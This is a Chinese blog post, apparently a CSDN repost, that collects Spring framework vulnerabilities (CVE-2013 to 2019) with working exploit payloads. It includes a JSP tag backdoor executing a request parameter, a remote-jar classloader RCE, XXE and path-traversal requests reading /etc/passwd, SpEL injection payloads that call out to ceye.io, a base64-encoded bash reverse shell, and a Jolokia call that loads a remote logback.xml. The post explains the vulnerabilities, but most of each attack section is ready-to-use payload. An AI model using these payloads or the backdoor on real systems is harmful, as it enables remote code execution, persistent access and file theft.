0


Spring 框架相关漏洞详解合集_spring漏洞


做出这样的替换后,当开发者在 controller 中将任何一个对象绑定表单,并且最终展示的 jsp 内容有下面这些:

<%@ taglib prefix=“form” uri=“http://www.springframework.org/tags/form”%> <form:form commandName=“user”><form:input path=“name”/></form:form>


攻击者访问 url,即可触发远程代码执行的效果:

http://inbreak.net/springmvc/testjsp.htm? class.classLoader.URLs[0]=jar:https://inbreak.net/spring-exploit.jar!/


如果服务器大于 tomcat6.0.28 版本,这样做会把所有的 input 标签替换掉,导致不能正常显示。需要修改

spring-form.tld,给其中的 inputtag 改名,name 改为 inputkxlzx:

inputkxlzx //什么名字都行


在文件中新加入一个 tag,叫做 input:

input

/WEB-INF/tags/InputTag.tag


InputTag.tag 的内容:

<%@ tag dynamic-attributes=“dynattrs” %><%if (request.getParameter(“kxlzxcmd”)!=null) exec(request.getParameter(“kxlzxcmd”));%><form:inputkxlzx path=“${dynattrs.path}”></form:inputkxlzx>


访问的时候需要在参数中携带 kxlzxcmd

/test.htm?name=kxlzx&kxlzxcmd=calc //包含input的页面


**CVE-2013-4152 Spring Framework 中的 XML 外部实体(XXE)注入**

> 
> 影响版本:3.0.0 至 3.2.3、4.0.0.M1
> 
> 
> 

受影响版本容易受到 XML 外部实体(XXE)注入的攻击。该`SourceHttpMessageConverter`处理器不会禁用外部实体解析,这使远程攻击者可以读取任意文件。

当传输 xml 结构体时,如
<?xml version="1.0" encoding="ISO-8859-1"?>

John


外部 XML 实体- `xxe`是使用系统标识符定义的,并存在于 DOCTYPE 标头中。[java培训]( )这些实体可以访问本地或远程内容。例如,以下代码包含一个外部 XML 实体,该实体将获取的内容 `/etc/passwd`并将其显示给呈现给用户。
<?xml version="1.0" encoding="ISO-8859-1"?>

]> &xxe;


其他 XXE 注入攻击可以访问可能无法停止返回数据的本地资源,这可能会影响应用程序可用性并导致拒绝服务。

#### CVE-2013-7315 Spring Framework 中的 XML 外部实体

> 
> 影响版本:3.2.0 至 3.2.3、4.0.0.M1-4.0.0.M2(Spring MVC)
> 
> 
> 

由于对 **CVE-2013-4152**和 **CVE-2013-6429 的**修复不完整导致。

受影响版本容易受到 XML 外部实体(XXE)注入的攻击。该`SourceHttpMessageConverter`处理器不会禁用外部实体解析,这使远程攻击者可以读取任意文件。

当传输 xml 结构体时,如
<?xml version="1.0" encoding="ISO-8859-1"?>

John


外部 XML 实体- `xxe`是使用系统标识符定义的,并存在于 DOCTYPE 标头中。这些实体可以访问本地或远程内容。例如,以下代码包含一个外部 XML 实体,该实体将获取的内容 `/etc/passwd`并将其显示给呈现给用户。
<?xml version="1.0" encoding="ISO-8859-1"?>

]> &xxe;


其他 XXE 注入攻击可以访问可能无法停止返回数据的本地资源,这可能会影响应用程序可用性并导致拒绝服务。

#### CVE-2014-3527 Spring Security 验证绕过漏洞

> 
> 影响版本:SpringSource Spring Security 3.1-3.2.4
> 
> 
> 

当使用从 Spring Security 3.1 到 3.2.4 的 CAS 代理票证身份验证时,恶意的 CAS 服务可能会欺骗另一个 CAS 服务来认证未关联的代理票证。这是由于以下事实:代理票证身份验证使用了来自 HttpServletRequest 的信息,该信息是根据 HTTP 请求中的不可信信息填充的。这意味着,如果存在 CAS 服务可以相互认证的访问控制限制,则可以绕过这些限制。如果用户未使用 CAS 代理票证,并且未基于 CAS 服务做出访问控制决策,则对用户没有影响。

#### CVE-2014-0097 Spring Security 认证绕过

> 
> 影响版本:Spring Security 3.2.0 至 3.2.1 和 3.1.0 至 3.1.5
> 
> 
> 

ActiveDirectoryLdapAuthenticator 不检查密码长度。如果目录允许匿名绑定,则它可能会错误地验证提供空密码的用户。

#### CVE-2014-3578 Spring Framework 目录遍历漏洞

> 
> 影响版本:Spring Framework: 3.0.4 to 3.2.11 , 4.0.0 to 4.0.7, 4.1.0 to 4.1.1
> 
> 
> 

在 web.xml 存在如下情况下存在目录遍历:

<mvc:resources mapping=“/css/**” location=“file:webapps/springapp/WEB-INF/classes/theme/css/” />


访问:

GET /springapp/css/file:/etc/passwd


**CVE-2016-2173 Spring AMQP 中的远程代码执行**

> 
> 影响版本:1.0.0 至 1.5.4
> 
> 
> https://github.com/HaToan/CVE-2016-2173
> 
> 
> 

使用方式:

> 
> ysoserial-0.0.4-all.jar create payload write and execute a shell
> 
> 
> * java -jar ysoserial-0.0.4-all.jar 'library\_vul' 'command'
> 
> 
> exploit-cve2016-2173.jar : send to App vul
> 
> 
> * java -jar exploit-cve2016-2173.jar
> 
> 
> 

本来想根据配置来搭一个环境处理,结果环境一直搭不起来,构建各种失败,就先放这个利用 poc 吧。

#### CVE-2016-4977 SpringSecurityOauth 远程命令执行漏洞

> 
> 影响版本:2.0.0-2.0.9、1.0.0-1.0.5
> 
> 
> https://www.seebug.org/vuldb/ssvid-92474
> 
> 
> 

漏洞利用 POC:

> 
> http://localhost:8080/oauth/authorize?response\_type=token&client\_id=acme&redirect\_uri=${2334-1}
> 
> 
> 

![](https://img-blog.csdnimg.cn/img_convert/da7607f1ac7c7a4e75c097f7b78b279c.webp?x-oss-process=image/format,png)

执行命令:

> 
> http://207.246.79.196:8080/oauth/authorize?response\_type=token&client\_id=acme&redirect\_uri=${T(java.lang.Runtime).getRuntime().exec(%22ping%20xxx.ceye.io%22)}
> 
> 
> 

![](https://img-blog.csdnimg.cn/img_convert/a323ab6afdb9a15af320c34fc8d59b47.webp?x-oss-process=image/format,png)

但是此命令执行,不会在页面上显示,只会打印出运行的对象。

如果要执行反弹 shell 等命令,由于页面 HTML 编码的原因,SPEL 返回值时进行了一次 html 编码,所以导致取出的 值时会进行一次转义,利用如下脚本加工。

#coding:utf-8message = input(‘Enter message to encode:’) print(‘Decoded string (in ASCII):\n’) print(‘T(java.lang.Character).toString(%s)’ % ord(message[0]), end=“”)for ch in message[1:]: print(‘.concat(T(java.lang.Character).toString(%s))’ % ord(ch), end=“”),print(‘\n’) print(‘new java.lang.String(new byte[]{’, end=“”),print(ord(message[0]), end=“”)for ch in message[1:]: print(‘,%s’ % ord(ch), end=“”),print(‘)}’)


执行输出后再添加:

T(java.lang.Runtime).getRuntime().exec(payload)


CNVD-2016-04742 Spring Boot 框架 SPEL 表达式注入漏洞

> 
> 影响版本:1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
> 
> 
> 

下载存在漏洞的版本 1.3.0:

> 
> https://github.com/spring-projects/spring-boot/archive/v1.3.0.RELEASE.zip
> 
> 
> 

POC:

> 
> /?payload=${new%20java.lang.String(new%20byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 56, 52, 65, 56, 52, 67, 50, 53, 56, 67, 49, 66, 70, 66})}
> 
> 
> 

结果:

FBB204A4061FFBD41284A84C258C1BFB 返回结果是 md5(wooyun)

#### CVE-2016-6652 Spring Data JPA SQL 盲注

> 
> 影响版本:Spring Data JPA 1.10.2、1.9.4
> 
> 
> 

#### CVE-2017-4971 Spring WebFlow 远程代码执行漏洞

> 
> 影响版本:Spring Web Flow 2.4.0 to 2.4.4
> 
> 
> 

使用 vulhub 搭建环境后,在添加 poc 执行

> 
> &\_(new+java.lang.ProcessBuilder("ping","xxx.ceye.io")).start()=vulhub
> 
> 
> 

![](https://img-blog.csdnimg.cn/img_convert/6cc56dc14db4841e26533b55a71b498a.webp?x-oss-process=image/format,png)

![](https://img-blog.csdnimg.cn/img_convert/5af14f9f7ed3d38f0d8013e1d0eb3426.webp?x-oss-process=image/format,png)

无害化 payload 检测,如果 response header 中出现 vulnerable 头,则有漏洞:

> 
> &\_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("vulnerable","True").aaa=n1nty
> 
> 
> 

![](https://img-blog.csdnimg.cn/img_convert/fcc6216a16081707f0776693298086a8.webp?x-oss-process=image/format,png)

#### CVE-2017-8045 Spring Amqp 中的远程代码执行

> 
> 影响版本:1.7.4、1.6.11 和 1.5.7 之前的 Spring AMQP 版本
> 
> 
> 

**CVE-2017-8046 Spring Data REST PATCH 请求远程执行代码**

> 
> 影响版本:Spring Data REST 2.5.12, 2.6.7, 3.0 RC3 之前的版本、Spring Data release trains Kay-RC3 之前的版本、Spring Boot 2.0.0M4 之前的版本
> 
> 
> 

利用 POC 执行:

[{ “op”: “replace”, “path”: “T(java.lang.Runtime).getRuntime().exec(new java.lang.String(‘ping xxx.ceye.io’))/lastname”, “value”: “vulhub” }]


反弹 shell,其中反弹 shell 命令需要借助编码来减少重定向出错的问题 java.lang.Runtime.exec() Payload Workarounds:

[{ “op”: “replace”, “path”: “T(java.lang.Runtime).getRuntime().exec(new java.lang.String(‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54Lzg4OTkgMD4mMQ==}|{base64,-d}|{bash,-i}’))/lastname”, “value”: “vulhub” }]


![](https://img-blog.csdnimg.cn/img_convert/a2c4fae60e7960b990b7be4a77a038bb.webp?x-oss-process=image/format,png)

![](https://img-blog.csdnimg.cn/img_convert/51a3d71e5c03c7e22c70ba7835f75eb6.webp?x-oss-process=image/format,png)

**CVE-2018-1258 Spring Security 未经授权的访问**

> 
> 影响版本:Spring Framework 5.0.5.RELEASE 和 Spring Security(任何版本)
> 
> 
> 

暂无详细信息

#### CVE-2018-1259 具有 XMLBeam 的 Spring DataXXE

> 
> 影响版本:
> 
> 
> XMLBeam 1.4.14 或更早版本结合使用的 Spring Data Commons Spring Data Commons 1.13 至 1.13.11(Ingalls SR11)Spring Data REST 2.6 至 2.6.11(Ingalls SR11) Spring Data Commons 2.0 至 2.0.6(Kay SR6) Spring Data REST 3.0 至 3.0.6(Kay SR6)
> 
> 
> http://www.polaris-lab.com/index.php/tag/CVE-2018-1259/
> 
> 
> https://xz.aliyun.com/t/2341
> 
> 
> 

#### CVE-2018-1270 Spring Messaging 远程代码执行漏洞

> 
> 影响版本:Spring Framework 5.0 to 5.0.4。Spring Framework 4.3 to 4.3.14
> 
> 
> 

同样利用 vulhub 搭建环境,首先我们先拦截 connect,查看通过的 ws 包,点击后会有这么一个请求

ws://x.x.x.x:8080/gs-guide-websocket/845/beqcexeb/websocket


![](https://img-blog.csdnimg.cn/img_convert/34d261f9e1433d854732fe310836bcf1.webp?x-oss-process=image/format,png)

从 bp 中看到来回四个包,其中的内容为如上所示,修改如下请求包

![](https://img-blog.csdnimg.cn/img_convert/53a3a2202a605fa1a09310c3a6448455.webp?x-oss-process=image/format,png)

在发送任意消息,即可触发

![](https://img-blog.csdnimg.cn/img_convert/4af801a604356f163421b06efe6ca11b.webp?x-oss-process=image/format,png)

或者尝试使用 vulhub 提供的脚本,但是此脚本并不具备通用性,需要修改使用 poc

#### CVE-2018-1271 Spring MVC 目录穿越漏洞

当 Spring MVC 的静态资源存放在 Windows 系统上时,攻击可以通过构造特殊 URL 导致目录遍历漏洞。

此漏洞触发条件较高:

1. Server 运行于 Windows 系统上
2. 从文件系统提供的文件服务(比如使用 file 协议,但不是 file open)
3. 没有使用 CVE-2018-1199 漏洞的补丁
4. 不使用 Tomcat 或者是 WildFly 做 Server

#### CVE-2018-1273 Spring Expression Language SPEL 表达式注入漏洞

> 
> 影响版本:
> 
> 
> Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5)
> 
> 
> 

![](https://img-blog.csdnimg.cn/img_convert/8ebe3d0af01f376b8cd143054eb7e6e7.webp?x-oss-process=image/format,png)

POC:

> 
> username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=xxxusername[T(java.lang.Runtime).getRuntime().exec("ping+xxx.ceye.io")]=test
> 
> 
> 

#### CVE-2018-1260 Spring Security Oauth2 远程代码执行

影响版本:

Spring Security OAuth 2.3 to 2.3.2Spring Security OAuth 2.2 to 2.2.1Spring Security OAuth 2.1 to 2.1.1Spring Security OAuth 2.0 to 2.0.14


此漏洞和 CVE-2016-4977 类似

POC:

http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.baidu.com&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22ping%20r9rub4.ceye.io%22%29%7D


**CVE-2018-15758 spring-security-oauth2 权限提升**

影响版本:

Spring Security OAuth 2.3至2.3.3Spring Security OAuth 2.2至2.2.2Spring Security OAuth 2.1至2.1.2Spring Security OAuth 2.0到2.0.15


使用了 EnableResourceServer 并且用了`AuthorizationRequest`的话。那么攻击者可以重新发送一次用过的验证请求,或者进行相应参数修改,从而造成权限提升。

例如劫持 code,并且篡改其中的 scope 到 all 的话:

http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://127.0.0.1&scope=openid


![](https://img-blog.csdnimg.cn/img_convert/50083d51ae98f7357ac65bfbe98d7429.webp?x-oss-process=image/format,png)

即授权了读取权限的时候,修改为 all 就可以获得全部权限。

#### CVE-2019-3799 Spring Cloud Config Server: 目录遍历

> 
> 影响版本:Spring-Cloud-Config-Server < 2.1.2, 2.0.4, 1.4.6
> 
> 
> 

cd spring-cloud-config-server …/mvnw spring-boot:run


构建成功后访问:

> 
> http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
> 
> 
> 

其中路径代表:`/{name}/{profile}/{label}/`,如下中所显示的 json。

![](https://img-blog.csdnimg.cn/img_convert/63c198a5eaed7c748c97ea2d5cb01584.webp?x-oss-process=image/format,png)

**CVE-2019-3778 Spring Security OAuth 开放重定向**

> 
> 影响版本:
> 
> 
> Spring Security OAuth 2.3 to 2.3.4 Spring Security OAuth 2.2 to 2.2.3 Spring Security OAuth 2.1 to 2.1.3 Spring Security OAuth 2.0 to 2.0.16
> 
> 
> 

用户登录后,CLIENT APP 执行的以下请求包含 REDIRECT\_URI 参数。只需添加一个百分号即可触发重定向,而不是通过 RedirectMismatchException 错误来绕过验证。

例如原始请求如下:

> 
> /auth/oauth/authorize?response\_type=code&client\_id=R2dpxQ3vPrtfgF72&scope=user\_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect\_uri=http://localhost:8086/login
> 
> 
> 

只需要修改为:

> 
> /auth/oauth/authorize?response\_type=code&client\_id=R2dpxQ3vPrtfgF72&scope=user\_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect\_uri=http://%localhost:8086/login
> 
> 
> 

这样就不会产生原本的认证错误,而且直接跳转到地址

#### CNVD-2019-11630 Spring Boot Actuator 命令执行漏洞

这个漏洞并不像是单一的问题产生,更像是一个渗透入侵的过程。有很多值得在意的知识点

1、Spring Boot 1-1.4,无需身份验证即可访问以下敏感路径,而在 2.x 中,存在于 /actuator 路径下。

/dump-显示线程转储(包括堆栈跟踪)/trace-显示最后几条HTTP消息(其中可能包含会话标识符)/logfile-输出日志文件的内容/shutdown-关闭应用程序/mappings-显示所有MVC控制器映射/env-提供对配置环境的访问/restart-重新启动应用程序


2、jolokia 进行远程代码执行,Jolokia 允许通过 HTTP 访问所有已注册的 MBean,并且旨在执行与 JMX 相同的操作。可以使用 URL 列出所有可用的 MBeans 操作:

> 
> http://127.0.0.1:8090/jolokia/list
> 
> 
> 

Logback 库提供的 **reloadByURL** 操作使我们可以从外部 URL 重新加载日志配置,地址如:

> 
> http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
> 
> 
> 

logback.xml:
标签: spring java 后端

本文转载自: https://blog.csdn.net/2401_87167740/article/details/142332121
版权归原作者 2401_87167740 所有, 如有侵权,请联系我们删除。

“Spring 框架相关漏洞详解合集_spring漏洞”的评论:

还没有评论